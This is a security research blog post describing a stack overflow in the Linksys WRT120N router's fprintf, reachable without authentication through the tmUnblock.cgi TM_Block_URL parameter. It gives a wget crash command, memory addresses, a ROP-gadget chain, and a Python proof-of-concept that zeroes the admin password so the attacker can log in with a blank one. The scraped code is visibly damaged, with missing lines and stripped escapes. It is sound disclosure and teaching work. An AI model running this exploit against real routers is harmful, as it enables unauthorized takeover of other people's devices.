WRT120N fprintf Stack Overflow – /dev/ttyS0

With a good firmware disassembly and JTAG debug access to the WRT120N, it’s time to start examining the code for more interesting bugs.

As we’ve seen previously, the WRT120N runs a Real Time Operating System. For security, the RTOS’s administrative web interface employs HTTP Basic authentication:

401 Unauthorized

401 Unauthorized

Most of the web pages require authentication, but there are a handful of URLs that are explicitly allowed to bypass authentication:

bypass_file_list("/cgi-bin/login /images/ /login...");

bypass_file_list(“/cgi-bin/login /images/ /login…”);

Full list of bypass files

Full list of bypass files

Any request whose URL starts with one of these strings will be allowed without authentication, so they’re a good place to start hunting for bugs.

Some of these pages don’t actually exist; others exist but their request handlers don’t do anything (NULL subroutines). However, the /cgi/tmUnBlock.cgi page does have a handler that processes some user data:

cgi_tmUnBlock function handler

cgi_tmUnBlock function handler

The interesting bit of code to focus on is this:

fprintf(request->socket, "Location %s", GetWebParam(cgi_handle, "TM_Block_URL"));

Although it at first appears benign, cgi_tmUnBlock‘s processing of the TM_Block_URL POST parameter is exploitable, thanks to a flaw in the fprintf implementation:



Yes, fprintf blindly vsprintf‘s the supplied format string and arguments to a local stack buffer of only 256 bytes.

Respect yourself. Don't use sprintf.

Respect yourself. Don’t use sprintf.

This means that the user-supplied TM_Block_URL POST parameter will trigger a stack overflow in fprintf if it is larger than 246 (sizeof(buf) – strlen(“Location: “)) bytes:

$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')"
Stack trace of the crash

Stack trace of the crash

A simple exploit would be to overwrite some critical piece of data in memory, say, the administrative password which is stored in memory at address 0x81544AF0:

Admin password at 0x81544AF0

Admin password at 0x81544AF0

The administrative password is treated as a standard NULL terminated string, so if we can write even a single NULL byte at the beginning of this address, we’ll be able to log in to the router with a blank password. We just have to make sure the system continues running normally after exploitation.

Looking at fprintf‘s epilogue, both the $ra and $s0 registers are restored from the stack, meaning that we can control both of those registers when we overflow the stack:

fprintf's function epilogue

fprintf’s function epilogue

There’s also this nifty piece of code at address 0x8031F634 that stores four NULL bytes from the $zero register to the address contained in the $s0 register:

First ROP gadget

First ROP gadget

If we use the overflow to force fprintf to return to 0x8031F634 and overwrite $s0 with the address of the administrative password (0x81544AF0), then this code will:

  • Zero out the admin password
  • Return to the return address stored on the stack (we control the stack)
  • Add 16 to the stack pointer

This last point is actually a problem. We need the system to continue normally and not crash, but if we simply return to the cgi_tmUnBlock function like fprintf was supposed to, the stack pointer will be off by 16 bytes.

Finding a useful MIPS ROP gadget that decrements the stack pointer back 16 bytes can be difficult, so we’ll take a different approach.

Looking at the address where fprintf should have returned to cgi_tmUnblock, we see that all it is doing is restoring $ra, $s1 and $s0 from the stack, then returning and adding 0x60 to the stack pointer:

cgi_tmUnblock function epilogue

cgi_tmUnblock function epilogue

We’ve already added 0x10 to the stack pointer, so if we can find a second ROP gadget that restores the appropriate saved values for $ra, $s1 and $s0 from the stack and adds 0x50 to the stack pointer, then that ROP gadget can be used to effectively replace cgi_tmUnblock‘s function epilogue.

There aren’t any obvious gadgets that do this directly, but there is a nice one at 0x803471B8 that is close:

Second ROP gadget

Second ROP gadget

This gadget only adds 0x10 to the stack pointer, but that’s not a problem; we’ll set up some additional stack frames that will force this ROP gadget return to itself five times. On the fifth iteration, the original values of $ra, $s1 and $s0 that were passed to cgi_tmUnblock will be pulled off the stack, and our ROP gadget will return to cgi_tmUnblock‘s caller:

ROP stack frames and relevant registers

ROP stack frames and relevant registers

With the register contents and stack having been properly restored, the system should continue running along as if nothing ever happened. Here’s some PoC code (download):

import sys
import urllib2

    target = sys.argv[1]
except IndexError:
    print "Usage: %s <target ip>" % sys.argv[0]

url = target + '/cgi-bin/tmUnblock.cgi'
if '://' not in url:
    url = 'http://' + url

post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="
post_data += "B" * 246                  # Filler
post_data += "x81x54x4AxF0"         # $s0, address of admin password in memory
post_data += "x80x31xF6x34"         # $ra
post_data += "C" * 0x28                 # Stack filler
post_data += "D" * 4                    # ROP 1 $s0, don't care
post_data += "x80x34x71xB8"         # ROP 1 $ra (address of ROP 2)
post_data += "E" * 8                    # Stack filler

for i in range(0, 4):
    post_data += "F" * 4                # ROP 2 $s0, don't care
    post_data += "G" * 4                # ROP 2 $s1, don't care
    post_data += "x80x34x71xB8"     # ROP 2 $ra (address of itself)
    post_data += "H" * (4-(3*(i/3)))    # Stack filler; needs to be 4 bytes except for the
                                        # last stack frame where it needs to be 1 byte (to
                                        # account for the trailing "" and terminating
                                        # NULL byte)

    req = urllib2.Request(url, post_data)
    res = urllib2.urlopen(req)
except urllib2.HTTPError as e:
    if e.code == 500:
        print "OK"
        print "Received unexpected server response:", str(e)
except KeyboardInterrupt:
Logging in with a blank password after exploitation

Logging in with a blank password after exploitation

Arbitrary code execution is also possible, but that’s another post for another day.

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